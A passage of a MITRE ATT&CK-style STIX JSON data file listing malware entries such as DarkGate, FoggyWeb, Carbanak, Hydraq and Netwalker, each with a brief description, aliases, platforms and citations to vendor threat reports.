its author, [DarkGate](https://attack.mitre.org/software/S1111) is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions.(Citation: Ensilo Darkgate 2018) DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.(Citation: Trellix Darkgate 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Serhii Melnyk, Trustwave SpiderLabs","Phyo Paing Htun (ChiLai)"],"x_mitre_aliases":["DarkGate"],"type":"malware","id":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","created":"2024-02-09T19:52:30.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1111","external_id":"S1111"},{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"},{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-24T18:53:41.304Z","name":"Mongall","description":"[Mongall](https://attack.mitre.org/software/S1026) is a backdoor that has been used since at least 2013, including by [Aoqin Dragon](https://attack.mitre.org/groups/G1007).(Citation: SentinelOne Aoqin Dragon June 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["Mongall"],"type":"malware","id":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","created":"2022-07-25T17:00:15.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1026","external_id":"S1026"},{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:37:11.186Z","name":"NanHaiShu","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["NanHaiShu"],"type":"malware","id":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0228","external_id":"S0228"},{"source_name":"NanHaiShu","description":"(Citation: Proofpoint Leviathan Oct 2017)"},{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"},{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-18T12:41:37.940Z","name":"SVCReady","description":"[SVCReady](https://attack.mitre.org/software/S1064) is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between [TA551](https://attack.mitre.org/groups/G0127) activity and [SVCReady](https://attack.mitre.org/software/S1064) distribution, including similarities in file names, lure images, and identical grammatical errors.(Citation: HP SVCReady Jun 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Akiko To, NEC Corporation","Pooja Natarajan, NEC Corporation India"],"x_mitre_aliases":["SVCReady"],"type":"malware","id":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","created":"2023-02-10T18:05:56.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1064","external_id":"S1064"},{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ThiefQuest","MacRansom.K","EvilQuest"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--727afb95-3d0f-4451-b297-362a43909923","created":"2021-03-19T16:26:04.260Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0595","url":"https://attack.mitre.org/software/S0595"},{"source_name":"ThiefQuest","description":"(Citation: Reed thiefquest fake ransom)"},{"source_name":"EvilQuest","description":"(Citation: Reed thiefquest fake ransom)"},{"source_name":"MacRansom.K","description":"(Citation: SentinelOne EvilQuest Ransomware Spyware 2020)"},{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"SentinelOne EvilQuest Ransomware Spyware 2020","url":"https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/","description":"Phil Stokes. (2020, July 8). “EvilQuest” Rolls Ransomware, Spyware & Data Theft Into One. Retrieved April 1, 2021."},{"source_name":"Reed thiefquest fake ransom","url":"https://blog.malwarebytes.com/detections/osx-thiefquest/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 18, 2021."},{"source_name":"reed thiefquest ransomware analysis","url":"https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)","modified":"2022-04-16T15:01:37.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"ThiefQuest","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:32:04.884Z","name":"FoggyWeb","description":"[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Craig Smith, BT Security"],"x_mitre_aliases":["FoggyWeb"],"type":"malware","id":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","created":"2021-11-16T14:33:46.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0661","external_id":"S0661"},{"source_name":"MSTIC FoggyWeb September 2021","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021.","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-19T13:24:36.873Z","name":"NGLite","description":"[NGLite](https://attack.mitre.org/software/S1106) is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.(Citation: NGLite Trojan)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["NGLite"],"type":"malware","id":"malware--72b5f07f-5448-4e00-9ff2-08bc193a7b77","created":"2024-02-08T15:23:05.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1106","external_id":"S1106"},{"source_name":"NGLite Trojan","description":"Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.","url":"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-17T19:51:14.195Z","name":"Carbanak","description":"[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Carbanak","Anunak"],"type":"malware","id":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","created":"2017-05-31T21:32:22.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0030","external_id":"S0030"},{"source_name":"Carbanak","description":"(Citation: FireEye CARBANAK June 2017)"},{"source_name":"Anunak","description":"(Citation: Fox-It Anunak Feb 2015) (Citation: FireEye CARBANAK June 2017)"},{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"},{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"},{"source_name":"Fox-It Anunak Feb 2015","description":"Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.","url":"https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["XTunnel","Trojan.Shunnael","X-Tunnel","XAPS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","type":"malware","created":"2017-05-31T21:33:09.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0117","external_id":"S0117"},{"source_name":"XTunnel","description":"(Citation: ESET Sednit Part 2)"},{"source_name":"Trojan.Shunnael","description":"(Citation: Symantec APT28 Oct 2018)"},{"source_name":"X-Tunnel","description":"(Citation: Crowdstrike DNC June 2016)(Citation: Symantec APT28 Oct 2018)"},{"source_name":"XAPS","description":"(Citation: ESET Sednit Part 2)"},{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"},{"source_name":"Invincea XTunnel","description":"Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.","url":"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"},{"source_name":"Symantec APT28 Oct 2018","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."}],"modified":"2020-03-21T00:40:57.275Z","name":"XTunnel","description":"[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-20T22:03:44.662Z","name":"Hydraq","description":"[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["Hydraq","Roarur","MdmBot","HomeUnix","Homux","HidraQ","HydraQ","McRat","Aurora","9002 RAT"],"type":"malware","id":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0203","external_id":"S0203"},{"source_name":"9002 RAT","description":"(Citation: MicroFocus 9002 Aug 2016)"},{"source_name":"Roarur","description":"(Citation: Novetta-Axiom)"},{"source_name":"MdmBot","description":"(Citation: Novetta-Axiom)"},{"source_name":"HomeUnix","description":"(Citation: Novetta-Axiom)"},{"source_name":"Homux","description":"(Citation: Novetta-Axiom)"},{"source_name":"HidraQ","description":"(Citation: Novetta-Axiom)"},{"source_name":"HydraQ","description":"(Citation: Novetta-Axiom)"},{"source_name":"McRat","description":"(Citation: Novetta-Axiom)"},{"source_name":"Hydraq","description":"(Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010)"},{"source_name":"Aurora","description":"(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)"},{"source_name":"ASERT Seven Pointed Dagger Aug 2015","description":"ASERT. (2015, August). ASERT Threat Intelligence Report – Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018.","url":"https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf"},{"source_name":"PaloAlto 3102 Sept 2015","description":"Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use ‘3102’ Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.","url":"https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/"},{"source_name":"ProofPoint GoT 9002 Aug 2017","description":"Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures"},{"source_name":"FireEye Sunshop Campaign May 2013","description":"Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018.","url":"https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html"},{"source_name":"FireEye DeputyDog 9002 November 2013","description":"Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018.","url":"https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"},{"source_name":"Symantec Elderwood Sept 2012","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"},{"source_name":"MicroFocus 9002 Aug 2016","description":"Petrovsky, O. (2016, August 30). “9002 RAT” -- a second building on the left. Retrieved February 20, 2018.","url":"https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ"},{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:29:42.303Z","name":"SHARPSTATS","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) is a .NET backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2019.(Citation: TrendMicro POWERSTATS V3 June 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["SHARPSTATS"],"type":"malware","id":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","created":"2020-05-18T19:51:37.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0450","external_id":"S0450"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Ferocious"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","type":"malware","created":"2022-02-01T19:19:26.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0679","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0679"},{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T21:21:35.768Z","name":"Ferocious","description":"[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:18:12.743Z","name":"HOMEFRY","description":"[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["HOMEFRY"],"type":"malware","id":"malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0232","external_id":"S0232"},{"source_name":"HOMEFRY","description":"(Citation: FireEye Periscope March 2018)"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"CreepyDrive","description":"[CreepyDrive](https://attack.mitre.org/software/S1023) is a custom implant has been used by [POLONIUM](https://attack.mitre.org/groups/G1005) since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.(Citation: Microsoft POLONIUM June 2022)\n\n[POLONIUM](https://attack.mitre.org/groups/G1005) has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.(Citation: Microsoft POLONIUM June 2022)","labels":["malware"],"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Office Suite"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_aliases":["CreepyDrive"],"type":"malware","id":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","created":"2022-07-07T14:30:25.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1023","external_id":"S1023"},{"source_name":"Microsoft POLONIUM June 2022","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Caterpillar WebShell"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","type":"malware","created":"2021-02-10T18:20:51.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0572","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0572"},{"source_name":"Caterpillar WebShell","description":"(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)"},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."},{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-04-27T01:47:15.413Z","name":"Caterpillar WebShell","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:03:29.436Z","name":"Netwalker","description":"[Netwalker](https://attack.mitre.org/software/S0457) is fileless ransomware written in PowerShell and executed directly in memory.(Citation: TrendMicro Netwalker May 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Netwalker"],"type":"malware","id":"malware--754effde-613c-4244-a83e-fb659b2a4d06","created":"2020-05-26T21:02:38.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0457","external_id":"S0457"},{"source_name":"TrendMicro Netwalker May 2020","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:35:48.740Z","name":"Elise","description":"[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It 